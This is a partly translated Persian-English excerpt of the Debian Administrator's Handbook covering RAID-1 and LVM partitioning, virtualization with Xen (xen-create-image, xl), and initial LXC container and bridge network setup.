# fdisk -l /dev/sda Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x00039a9f Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 1992060 1990012 1.0G fd Linux raid autodetect /dev/sda2 1992061 3984120 1992059 1.0G 82 Linux swap / Solaris /dev/sda3 4000185 586099395 582099210 298G 5 Extended /dev/sda5 4000185 203977305 199977120 102G fd Linux raid autodetect /dev/sda6 203977306 403970490 199993184 102G fd Linux raid autodetect /dev/sda7 403970491 586099395 182128904 93G 8e Linux LVM

اولین پارتیشن‌های هر دو دیسک (حدود ۱ گیگابایت) به صورت یک آرایه RAID-1 در آمده‌اند، md0. از این mirror به طور مستقیم برای ذخیره‌سازی فایل سیستم root استفاده می‌شود.

پارتیشن‌های sda2 و sdc2 به عنوان swap استفاده شده‌اند، که مجموع فضای ۲ گیگابایت برای swap را فراهم می‌کنند. با ۱ گیگابایت RAM، رایانه مقدار کافی حافظه موجود را خواهد داشت.

پارتیشن‌های sda5 و sdc5 همراه با sda6 و sdc6 هر کدام به یک آرایه RAID-1 به اندازه ۱۰۰ گیگابایت تقسیم شده‌اند که به نام‌های md1 و md2 موجود هستند. هر یک از این mirrorها به عنوان گروه‌های فیزیکی برای LVM راه‌اندازی شده‌اند که به گروه آرایه vg_raid اختصاص یافته‌اند. بنابراین این VG شامل ۲۰۰ گیگابایت فضای امن است.

پارتیشن‌های باقیمانده sda7 و sdc7 به طور مستقیم به عنوان گروه‌های فیزیکی vg_bulk نامگذاری شده‌اند، که در نهایت فضایی معادل ۲۰۰ گیگابایت را شامل می‌شوند.

زمانی که VGها ایجاد شوند، به روشی بسیار منعطف می‌توانند پارتیشن‌بندی گردند. به یاد داشته باشید که LVهای ایجاد شده در vg_raid در صورت نقص دیسک‌ها نیز نگهداری می‌شوند که این مورد درباره LVهای ایجاد شده در vg_bulk صادق نیست؛ از طرف دیگر، مورد دوم به صورت موازی در اختیار هر دو دیسک قرار می‌گیرد، که امکان خواندن یا نوشتن فایل‌های بزرگ را فراهم می‌آورد.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

یادداشت چرا از سه آرایه RAID-1 استفاده شد؟

می‌توانستیم از یک آرایه RAID-1 به منظور گروه فیزیکی برای vg_raid استفاده می‌کردیم. پس چرا سه تا ایجاد کردیم؟

منطق تقسیم اول (md0 مقابل دیگران) درباره امنیت داده است: داده‌ای که روی هر دو عنصر یک mirror از RAID-1 نوشته می‌شود کاملا یکسان است و این امکان وجود دارد که با نادیده‌گرفتن ساختار RAID یکی از دیسک‌ها را به صورت مستقیم متصل کنیم. در صورتی که یک باگ کرنل موجود باشد، برای نمونه اگر اطلاعات جانبی LVM خراب شود، امکان راه‌اندازی حداقلی سیستم برای دسترسی به داده حیاتی مانند ساختار دیسک‌های موجود در آرایه‌های RAID و LVM موجود است؛ این اطلاعات جانبی می‌تواند بازسازی شده و فایل‌ها دوباره قابل دسترس شوند، تا سیستم به حالت عادی خود بازگردد.

منطق تقسیم دوم (md1 مقابل md2) از صراحت کمتری برخوردار است، که بیشتر درباره نامشخص بودن آینده دلالت دارد. زمانی که این سیستم جمع‌آوری شد، نیازمندی‌های دقیق ذخیره‌سازی از همان ابتدا مشخص نبود؛ چرا که می‌توانست در گذر زمان تغییر کند. در این مورد، از قبل نمی‌دانیم چه فضایی بابت ذخیره‌سازی ویدیوهای اولیه و کلیپ‌های ویرایش شده نهایی لازم است. اگر یک کلیپ مشخص نیازمند تصاویر اولیه بسیاری باشد و VG اختصاص‌یافته به داده تکراری کمتر از نصف فضای ذخیره‌سازی را داشته باشد، می‌توانیم از برخی فضای استفاده نشده آن بهره ببریم. می‌توانیم یکی از گروه‌های فیزیکی مانند md2 را از vg_raid حذف کرده و به طور مستقیم به vg_bulk اختصاص دهیم (اگر مدت زمان انتظار رفته از عملیات به اندازه‌ای کم باشد که این کاهش عملکرد سیستم را تحمل کنیم) یا تنظیم RAID را روی md2 لغو کرده و اجزای آن یعنی sda6 و sdc6 را درون VG دیگر قرار دهیم (که بجای ۱۰۰ می‌شود ۲۰۰ گیگابایت)؛ گروه منطقی lv_rushes سپس می‌تواند متناسب با نیازمندی‌های افزایش یابد.

12.2. مجازی‌سازی

مجازی‌سازی یکی از بزرگترین پیشرفت‌های علوم رایانه در سال‌های اخیر است. این عبارت شامل چندین مفهوم انتزاعی و تکنیکی است که در شبیه‌سازی رایانه‌های مجازی به طوری که مستقل از سخت‌افزار واقعی عمل می‌کنند. یک سرور فیزیکی می‌تواند شامل چندین سرور مجازی باشد که جدا از یکدیگر فعالیت می‌کنند. برنامه‌های کاربردی آن بسیار هستند که از این انزوا مشتق می‌شوند: برای نمونه، محیط‌های آزمایشی همراه با پیکربندی‌های متفاوت یا جداسازی سرویس‌های میزبانی بین چندین ماشین مجازی برای امنیت.

راهکارهای گوناگون مجازی‌سازی هر کدام با نقاط قوت و ضعف خود وجود دارند. تمرکز این کتاب روی Xen، LXC و KVM است اما سایر پیاده‌سازی‌های قابل ذکر عبارتند از:

QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.

→ https://www.qemu.org/

... نیز یک ماشین مجازی آزاد دیگر است، اما تنها به شبیه‌سازی معماری‌های x86 می‌پردازد (i386 و amd64).

VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as snapshotting a running virtual machine.

→ https://www.vmware.com/

VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some snapshotting and other interesting features.

→ https://www.virtualbox.org/

HARDWARE Virtualization support

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

For Intel processors you can execute grep vmx /proc/cpuinfo

For AMD processors you can execute grep svm /proc/cpuinfo

12.2.1. Xen

Xen یک راهکار “paravirtualization” است که شامل یک لایه انتزاعی سبک به نام “hypervisor” می‌باشد که بین سخت‌افزار و سیستم‌های بالایی قرار می‌گیرد؛ این لایه مانند یک داور دسترسی از ماشین‌های مجازی به سخت‌افزار را کنترل می‌کند. اگرچه، تنها شامل چند دستورالعمل کوتاه است، باقی عملیات به طور مستقیم از طرف سخت‌افزار و به نیابت از سیستم‌های دیگر انجام می‌شوند. مزیت اصلی آن این است که عملکرد کاهش نمی‌یابد و سیستم‌های تقریبا با سرعت اصلی سخت‌افزار اجرا می‌شوند؛ اشکال اصلی آن این است که کرنل‌های سیستم عامل‌ها به منظور استفاده از hypervisor باید سازگار با Xen باشند.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

فرهنگ Xen و نسخه‌های مختلف از لینوکس

Xen در ابتدا به عنوان چندین اصلاحیه خارج از ساختار اصلی کرنل لینوکس توسعه یافت. در همان زمان، چندین راهکاری مجازی‌سازی دیگر (از جمله KVM) نیازمند چندین عملکرد عمومی مجازی‌سازی بودند تا یکپارچه‌سازی خود را تسهیل نمایند و کرنل لینوکس این مجموعه قابلیت‌ها را گردآوری کرد (که به عنوان رابط paravirt_ops یا pv_ops شناخته می‌شوند). از آنجا که اصلاحیه‌های Xen این قابلیت‌ها را به شیوه‌ای دیگر پیاده‌سازی می‌کردند، نتوانستند به صورت رسمی پذیرفته شوند.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

فرهنگ Xen کرنل‌های غیر از لینوکس

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

با این حال، اگر Xen بتواند روی قابلیت‌های سخت‌افزاری موجود برای مجازی‌سازی تکیه کند (که تنها در پردازنده‌های جدید مشاهده می‌شوند)، حتی سیستم عامل‌های غیر-قابل تغییر مانند ویندوز نیز می‌توانند به عنوان domU استفاده گردند.

یادداشت معماری‌های سازگار با Xen

Xen هم اکنون تنها برای معماری‌های i386، amd64، arm64 و armhf موجود می‌باشد.

استفاده از Xen تحت دبیان نیازمند سه مولفه است:

The hypervisor itself. According to the available hardware, the appropriate package will be either xen-hypervisor-4.11-amd64, xen-hypervisor-4.11-armhf, or xen-hypervisor-4.11-arm64.

A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 4.19 version present in Buster.

معماری i386 همچنین نیازمند یک کتابخانه استاندارد است که بتواند از اصلاحیه‌های موجود در Xen بهره‌مند شود؛ این کتابخانه در بسته libc6-xen موجود است.

The hypervisor also brings xen-utils-4.11, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

زمانی که این پیشنیازها نصب شوند، گام بعدی آزمایش عملکرد خود dom0 است؛ این عمل شامل راه‌اندازی مجدد hypervisor و کرنل Xen می‌باشد. سیستم باید به شیوه استاندارد خود راه‌اندازی شده، همراه با چندین پیام که طی گام‌های اولیه راه‌اندزای در کنسول نمایش می‌یابند.

اکنون زمان آن فرا رسیده است که با استفاده از ابزار موجود در xen-tools به نصب سیستم‌های کاربردی روی domU بپردازیم. این بسته شامل دستور xen-create-image می‌باشد که تقریبا این فرآیند را خودکارسازی می‌کند. تنها پارامتر ضروری آن --hostname است که نام domU را مشخص می‌کند؛ سایر گزینه‌ها نیز مهم هستند ولی می‌توانند درون فایل پیکربندی /etc/xen-tools/xen-tools.conf قرار بگیرند که نبود آن‌ها خطایی را در هنگام اجرای دستور صادر نمی‌کند. بنابراین مهم است که محتوای این فایل را قبل از ایجاد هر image بررسی کرده یا از پارامترهای اضافی هنگام فراخوانی xen-create-image استفاده کنیم. پارامترهای مهم قابل ذکر عبارتند از:

--memory، برای مشخص کردن میزان RAM اختصاص یافته به سیستم جدید؛

--size و --swap، برای تعریف اندازه "دیسک‌های مجازی" موجود برای domU؛

--debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as buster).

مطالعه بیشتر نصب یک سیستم غیر دبیان در یک domU

در مورد یک سیستم غیر-لینوکس، برای تعریف کرنل مورد استفاده domU باید دقت کرد، با استفاده از گزینه --kernel.

--dhcp بیان می‌کند که پیکربندی شبکه domU باید از طریق DHCP انجام شود در صورتی که --ip امکان استفاده از نشانی ایستای IP را فراهم می‌کند.

در انتها، از یک روش ذخیره‌سازی به منظور ایجاد image استفاده کرد (آن‌هایی که به عنوان درایوهای هارد دیسک از domU در نظر گرفته می‌شوند). ساده‌ترین روش، با توجه به گزینه --dir، ایجاد یک فایل در dom0 به ازای هر دستگاه domU فراهم‌کننده آن است. برای سیستم‌هایی که از LVM استفاده می‌کنند، گزینه جایگزین استفاده از --lvm است، که همراه با نام یک گروه آرایه آورده می‌شود؛ سپس xen-create-image اقدام به ایجاد یک گروه منطقی درون آرایه‌ها می‌کند که این گروه منطقی به عنوان یک درایو هارد دیسک به domU معرفی می‌گردد.

یادداشت ذخیره‌سازی در domU

علاوه بر پارتیشن‌ها، آرایه‌های RAID و گروه‌های منطقی موجود در LVM، هارد دیسک‌های کامل نیز می‌توانند به domU انتقال یابند. این عملیات توسط xen-create-image به صورت خودکار انجام نمی‌شوند، با این حال، ویرایش فایل پیکربندی Xen معمولا پس از فراخوانی اولیه xen-create-image صورت می‌گیرد.

زمانی که این انتخاب‌ّها صورت گیرد، می‌توانیم image خود را برای domU بعدی در Xen ایجاد کنیم:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=buster --role=udev [...] General Information -------------------- Hostname : testxen Distribution : buster Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Kernel path : /boot/vmlinuz-4.19.0-5-amd64 Initrd path : /boot/initrd.img-4.19.0-5-amd64 [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : buster MAC Address : 00:16:3E:0C:74:2F IP Address(es) : dynamic SSH Fingerprint : SHA256:PuAGX4/4S07Xzh1u0Cl2tL04EL5udf9ajvvbufBrfvU (DSA) SSH Fingerprint : SHA256:ajFTX54eakzolyzmZku/ihq/BK6KYsz5MewJ98BM5co (ECDSA) SSH Fingerprint : SHA256:/sFov86b+rD/bRSJoHKbiMqzGFiwgZulEwpzsiw6aSc (ED25519) SSH Fingerprint : SHA256:/NJg/CcoVj+OLE/cL3yyJINStnla7YkHKe3/xEdVGqc (RSA) Root Password : EwmQMHtywY9zsRBpqQuxZTb

اکنون دارای یک ماشین مجازی هستیم که اجرا نمی‌شود (و تنها از فضای موجود در هارد دیسک dom0 استفاده می‌کند). البته که می‌توانیم با استفاده از پارامترهای گوناگون دیگر image بیشتری بسازیم.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

ساده‌ترین مدل bridge است؛ تمام کارت‌های شبکه eth0 (در سیستم‌های dom0 و domU) طوری عمل می‌کنند گویی به سوئیچ اصلی Ethernet متصل شده‌اند.

سپس مدل routing قرار دارد، به صورتی که dom0 به عنوان یک مسیریاب میان سیستم‌های domU و شبکه خارجی (فیزیکی) قرار می‌گیرد.

در نهایت، در مدل NAT، dom0 بین سیستم‌های domU و باقی شبکه قرار می‌گیرد، اما سیستم‌های domU به صورت مستقیم از خارج قابل دسترس نیستند و ترافیک از طریق ترجمه نشانی شبکه یا NAT با استفاده از dom0 انتقال می‌یابد.

این سه مدل شبکه دارای تعدادی رابط با نام‌های نامتعارف هستند از جمله vif*، veth*، peth* و xenbr0. hypervisor موجود در Xen با توجه به لایه تعریف شده آن‌ها را مرتب‌سازی می‌کند که این کار با استفاده از ابزارهای سمت-کاربر صورت می‌گیرد. از آنجا که مدل‌های NAT و routing تنها برای موارد خاص کاربرد دارند، تنها به بررسی مدل bridge می‌پردازیم.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils-4.11 package recommends it) to replace the existing eth0 entry:

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 1894 2 r----- 63.5 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 1505 2 r----- 100.0 testxen 13 1024 0 --p--- 0.0

ابزار انتخاب جعبه ابزار برای مدیریت ماشین مجازی Xen

در دبیان ۷ و نسخه‌های قبل از آن، xm ابزار خط فرمان مرجع برای مدیریت ماشین‌های مجازی Xen بود. اکنون با xl جایگزین شده است که در اکثر موارد با آن سازگاری دارد. اما این گزینه‌ها تنها ابزار موجود برای اینکار نیستند: virsh از libvirt و xe از XAPI موجود در XenServer (بسته تجاری Xen) ابزارهای جایگزین هستند.

احتیاط تنها یک domU برای هر image!

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

به یاد داشته باشید که domU ایجاد شده بنام ... از حافظه واقعی گرفته شده از RAM که معمولا برای dom0 در نظر گرفته می‌شود، استفاده می‌کند و نه یک حافظه شبیه‌سازی شده. بنابراین هنگام راه‌اندازی یک سرور مبتی بر Xen باید دقت عمل در تخصیص حافظه به خرج داد.

بسیار خوب! ماشین مجازی ما راه‌اندازی شد. دو روش دسترسی به آن وجود دارد. روش معمول اتصال ... به آن است، مانند یک ماشین حقیقی که از طریق شبکه متصل می‌شویم؛ اینکار نیازمند برپایی یک سرور DHCP یا پیکربندی DNS جداگانه است. روش دیگر، که در صورت اشتباه بودن پیکربندی شبکه می‌تواند تنها روش ممکن باشد، استفاده از کنسول hvc0 همراه با دستور xl console است:

# xl console testxen [...] Debian GNU/Linux 10 testxen hvc0 testxen login:

در این حالت می‌توان یک نشست جداگانه برای دسترسی به ماشین مجازی ایجاد کرد. قطع اتصال این کنسول با استفاده از کلید ترکیبی Control+] انجام می‌شود.

نکته دسترسی مستقیم به کنسول

بعضی وقت‌ها شاید بخواهیم پس از راه‌اندازی سیستم domU مستقیم وارد کنسول آن شویم؛ به همین دلیل است که دستور xl create یک گزینه -c را نیز می‌پذیرد. آغاز یک domU همراه با این سوئیچ تمام پیام‌های موجود هنگام راه‌اندازی آن را نمایش می‌دهد.

ابزار OpenXenManager

OpenXenManager (در بسته openxenmanager) یک ابزار گرافیکی است که امکان مدیریت دامنه‌های Xen را با استفاده از API آن فراهم می‌کند. همچنین امکان کنترل دامنه‌های Xen از راه‌دور نیز وجود دارد. این بسته تقریبا تمام ویژگی‌های دستور xl را فراهم می‌کند.

زمانی که domU آغاز گردد، می‌تواند مانند هر سرور دیگری مورد استفاده قرار گیرد (چرا که یک سیستم گنو/لینوکس است). اگرچه، وضعیت ماشین مجازی آن برخی قابلیت‌های دیگر را فراهم می‌کند. برای نمونه، یک domU با استفاده از دستورات xl pause و xl unpause می‌تواند به صورت موقت متوقف شده یا ادامه یابد. به یاد داشته باشید که یک domU متوقف شده با اینکه از قدرت پردازنده استفاده نمی‌کند، اما هم اکنون حافظه اختصاص یافته به خود را دارد. استفاده از دستورات xl save و xl restore نیز قابل توجه است: ذخیره‌سازی یک domU تمام منابع اختصاص یافته به آن، از جمله RAM، را آزادسازی می‌کند. در زمان بازگرداندن (یا ادامه، به این منظور) یک domU چیزی به جز گذشت زمان را احساس نمی‌کند. اگر هنگام خاموش کردن dom0 یک domU در حال اجرا باشد، اسکریپت‌های پیکربندی به صورت خودکار domU را ذخیره‌سازی کرده تا در راه‌اندازی بعدی از سر گرفته شود. این عمل البته ناملایمت‌های عملیات hibernate کردن یک رایانه لپ‌تاپ را به همراه دارد، برای نمونه؛ به طور مشخص اگر domU به مدت زمان طولانی در حالت تعلیق باشد، ارتباطات شبکه ممکن است منقضی گردند. به یاد داشته باشید که Xen به شدت ناسازگار با بخش مدیریت قدرت ACPI است، که عملیات متوقف‌سازی سیستم میزبان (dom0) را انجام می‌دهد.

مستندات گزینه‌های xl

اغلب زیردستورات xl شامل یک یا چند آرگومان هستند، که بیشتر شامل نام یک domU می‌شود. این آرگومان‌ها به خوبی در صفحه راهنمای xl(1) توضیح داده شده‌اند.

متوقف‌سازی یا راه‌اندازی مجدد یک domU می‌تواند از طریق خود آن (با دستور shutdown) یا از طریق dom0 با استفاده از xl shutdown یا xl reboot انجام شود.

مطالعه بیشتر Xen پیشرفته

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

با اینکه از آن برای ساخت “ماشین‌های مجازی” استفاده می‌شود، LXC به طور دقیق یک سیستم مجازی‌سازی نیست، بلکه سیستمی برای جدا کردن گروهی از فرآیندها نسبت به یکدیگر می‌باشد که درون یک میزبان اجرا می‌شوند. این سیستم از پیشرفت‌های اخیر در کرنل لینوکس بهره می‌برد، که بنام گروه‌های کنترل شناخته می‌شوند، به این معنی که مجموعه‌های مختلف از فرآیندها که “گروه” نامیده می‌شوند دید متفاوتی نسبت به جنبه‌های کلی سیستم دارند. از جمله این جنبه‌ها می‌توان به شناسه‌های فرآیند، پیکربندی شبکه و نقاط اتصال اشاره کرد. چنین گروهی از فرآیندهای ایزوله‌شده هیچ گونه دسترسی دیگر به سایر فرآیندهای سیستم ندارند و دسترسی آن‌ها به فایل سیستم تنها محدود به مجموعه‌ای کوچک می‌گردد. از این رو می‌تواند رابط شبکه و جدول مسیریابی مربوط به خود را داشته باشد و می‌تواند طوری پیکربندی شود که تنها مجموعه کوچکی از دستگاه‌های موجود در سیستم را مشاهده کند.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

یادداشت محدودیت‌های انزوای LXC

مخازن LXC سطحی از انزوا را مانند شبیه‌سازهای قدرتمند یا مجازی‌سازهای دیگر فراهم نمی‌کنند. به طور مشخص:

از آنجا که کرنل بین سیستم میزبان و مخازن مشترک است، فرآیندهایی که محدود به مخازن هستند کماکان می‌توانند به پیام‌های کرنل دسترسی داشته باشند که در صورت انتشار پیام‌ها توسط یک مخزن می‌تواند منجر به افشای اطلاعات شود؛

به دلیل مشابه، اگر به یک مخزن نفوذ شود و از یک آسیب‌پذیری کرنل استفاده گردد، سایر مخازن نیز تاثیر منفی می‌پذیرند؛

در فایل سیستم، کرنل به بررسی مجوزهای کاربران و گروه‌ها مبتنی بر شناسه‌های عددی می‌پردازد؛ این شناسه‌ها ممکن است به کاربران و گروه‌های مختلف با توجه به مخزن اختصاص یابند که در صورت اشتراکی بودن قسمت‌های قابل نوشتن فایل سیستم بین مخازن باید مورد توجه قرار گیرد.

از آنجا که با مفهوم ایزوله کردن و نه یک راهکار مجازی‌سازی ساده سروکار داریم، برپایی مخازن LXC بسیار پیچیده‌تر از اجرای debian-installer در یک ماشین مجازی است. ابتدا چندین پیشنیاز را بررسی کرده سپس به قسمت پیکربندی شبکه می‌رویم؛ در این قسمت است که می‌توانیم سیستم را درون یک مخزن اجرا کنیم.

12.2.2.1. گام‌های مقدماتی

بسته lxc شامل ابزار مورد نیاز برای نصب و اجرای LXC است.

LXC همچنین به سیستم پیکربندی control groups نیاز دارد که به صورت یک فایل سیستم مجازی به /sys/fs/cgroup متصل می‌شود. از آنجا که دبیان ۸ به systemd روی آورده، که خود مبتنی بر گروه‌های کنترل است، اینکار در زمان راه‌اندازی سیستم بدون هیچ پیکربندی خاص صورت می‌گیرد.

12.2.2.2. پیکربندی شبکه

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0 iface eth0 inet dhcp

آن‌ها باید غیرفعال شده و با مدخل‌های زیر جایگزین گردند:

#auto eth0 #iface eth0 inet dhcp auto br0 iface br0 inet dhcp bridge-ports eth0

تاثیر این پیکربندی مشابه با حالتی خواهد بود که مخازن به صورت ماشین‌هایی به شبکه فیزیکی یکسانی از طریق میزبان متصل می‌شدند. پیکربندی “bridge” انتقال فریم‌های Ethernet را بین تمام رابط‌های bridged مدیریت می‌کند که شامل eth0 همراه با رابط‌های تعریف شده برای مخازن می‌باشد.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

علاوه بر bridge-utils، این پیکربندی “غنی” نیازمند بسته vde2 است؛ فایل /etc/network/interfaces سپس به صورت زیر در می‌آید:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

شبکه می‌تواند یا به صورت ایستا درون مخازن یا به صورت پویا از طریق سرور DHCP درون میزبان برپا شود. چنین سرور DHCP باید طوری پیکربندی شود که به پرس و جوهای موجود در رابط br0 پاسخ دهد.

12.2.2.3. برپایی سیستم

اکنون بیاید فایل سیستم مورد نیاز مخزن را برپا کنیم. از آنجا که این “ماشین مجازی” به صورت مستقیم روی سخت‌افزار اجرا نخواهد شد، در مقایسه با یک فایل سیستم استاندارد رعایت برخی نکات ضروری است، به خصوص تا آنجا که به کرنل، دستگاه‌ها و کنسول‌ها مربوط باشد. خوشبختانه lxc شامل اسکریپت‌هایی است که اکثر این پیکربندی را به صورت خودکار انجام می‌دهند. برای نمونه، دستورات پیش رو (که نیازمند بسته‌های debootstrap و rsync هستند) اقدام به نصب یک مخزن دبیان می‌کنند:

root@mirwiz:~# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] root@mirwiz:~#

به یاد داشته باشید که فایل سیستم به صورت اولیه در /var/cache/lxc ایجاد شد، سپس به مقصد خود انتقال یافت. اینکار امکان ایجاد مخازن مشابه را با سرعت بیشتری فراهم می‌کند، چرا که تنها عملیات رونوشت‌گیری مورد نیاز است.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

فایل سیستم تازه ایجاد شده اکنون شامل یک سیستم پایه دبیان است و مخزن پیشفرض آن هیچ رابط شبکه‌ای ندارد (بجز گزینه loopback). از آنجا که این مورد نظر ما نیست، به ویرایش فایل پیکربندی مخزن (/var/lib/lxc/testlxc/config) پرداخته و چندین مدخل lxc.network.* را در آن ایجاد می‌کنیم:

lxc.net.0.type = veth lxc.net.0.flags = up lxc.net.0.link = br0 lxc.net.0.hwaddr = 4a:49:43:49:79:20

وجود این مدخل‌ها به این معنی است که یک رابط مجازی برای مخزن ایجاد خواهد شد؛ که به صورت خودکار هنگام آغاز مخزن شروع می‌شوند؛ که به صورت خودکار به bridge موجود در میزبان بنام br0 متصل می‌شوند؛ که نشانی MAC آن مطابق بالا خواهد بود. در صورت فقدان یا غیرفعال بودن این گزینه آخر، از یک نشانی MAC تصادفی استفاده خواهد شد.

یک مدخل مفید دیگر در آن فایل تنظیم نام میزبان است:

lxc.uts.name = testlxc

12.2.2.4. آغاز مخزن

Now that our virtual machine image is ready, let's start the container with lxc-start --daemon --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd. Now we can login:

